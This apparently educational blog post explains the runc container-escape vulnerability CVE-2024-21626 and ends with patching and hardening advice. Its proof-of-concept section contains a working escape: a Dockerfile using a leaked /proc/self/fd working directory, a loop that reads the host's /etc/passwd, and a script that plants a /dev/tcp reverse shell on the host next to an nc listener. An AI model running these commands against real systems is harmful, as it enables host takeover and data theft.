Cracking Containers: Understanding CVE-2024-21626 in runc

Introduction:

For the cyber security savvy crowd, let's delve deeper into the intricacies of CVE-2024-21626, the vulnerability that shook the container world. We'll explore its technical aspects, understand its impact, and equip you with knowledge to defend your containerized kingdom.

The Story Behind the Vulnerability:

Imagine runc, the program that manages containers, as a gatekeeper at a secure facility. In this case, the facility holds sensitive data and processes (your host system). Normally, containers (guests) stay within designated areas defined by runc. But CVE-2024-21626 acts like a faulty lock on the gate, creating two potential escape routes:

1. The Sneaky Image: Attackers can create a malicious container image containing specially crafted code. When runc opens the gate to welcome this "guest," the code exploits the faulty lock, granting the container unauthorized access to the entire facility (your host system).

2. The Unintentional Mishap: Sometimes, even legitimate users can make a mistake. Setting a container's working directory with a specific file path can trigger the faulty lock, again allowing the container to escape its designated area and roam free on the host system.

Technical Nuances:

This vulnerability stems from an internal file descriptor leak. File descriptors are like handles to access files and resources. The leak allows containers to inherit file descriptors that shouldn't be accessible, potentially leading to the escape mentioned above.

Proof of Concept:

To set up a lab where we can perform a PoC of this exploit, we can use following configuration in a Dockerfile:

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/8

Here we want to use the file descriptor which has access to read files on the target system. We can find out the suitable FD by using the executing a following bash script verify.sh:

#! /bin/bash
for i in {4..20}; do
	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

In the example given below, we can see that fd/8 is able to read the file we want that is /etc/passwd

Now we can build the docker image as specified in our Dockerfile.

docker build . -t cve-2024-21626

We will run this image on a container and execute the poc.sh script in the bash shell:

docker run -it --rm cve-2024-21626 bash /poc.sh

The poc.sh script contains:

#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337

It first retrieves the local machine's IP address and sets up a listening port (1337). Then, it creates a malicious copy of the "bash" command in a system directory accessible by all users ("/proc/self/cwd/../../../bin/bash.copy"). This copy connects to the attacker's machine using a "reverse shell" through the specified IP and port, potentially granting the attacker full control over the compromised system.

Now the attacker's listener is ready, let's move to the target computer and look for the bash.copy file created by poc.sh script and executing it will grant us the reverse shell we wanted:

/bin/bash.copy

If the attack is successful, we should receive a reverse shell on the attacker's terminal:

The Impact:

A successful exploit can have dire consequences:

• Data Breaches: Attackers can steal sensitive data stored on the host system.

• System Compromise: They can gain complete control, disrupting critical services or deploying malware.

• Reputational Damage: Breaches and disruptions can severely damage your organization's trust and reputation.

The Fix:

Patching is paramount! Update runc to version 1.1.12 or later to seal the faulty lock. Remember, patching early is key to staying secure.

Beyond Patching:

While patching is crucial, additional measures are necessary for robust defense:

• Least Privilege: Grant containers only the minimum permissions they need to function, restricting their access within the facility.

• Image Security: Carefully scan and verify the integrity of container images before deploying them. Don't let just anyone enter your facility!

• Network Segmentation: Divide your container network into isolated segments to minimize damage in case of breaches.

• Continuous Monitoring: Regularly scan your containers and host system for vulnerabilities and suspicious activity.

Remember: Security is an ongoing process, not a one-time fix. By understanding the vulnerability, implementing these measures, and staying vigilant, you can prevent attackers from exploiting CVE-2024-21626 and keep your containerized world safe.

Disclaimer:

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-21626 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.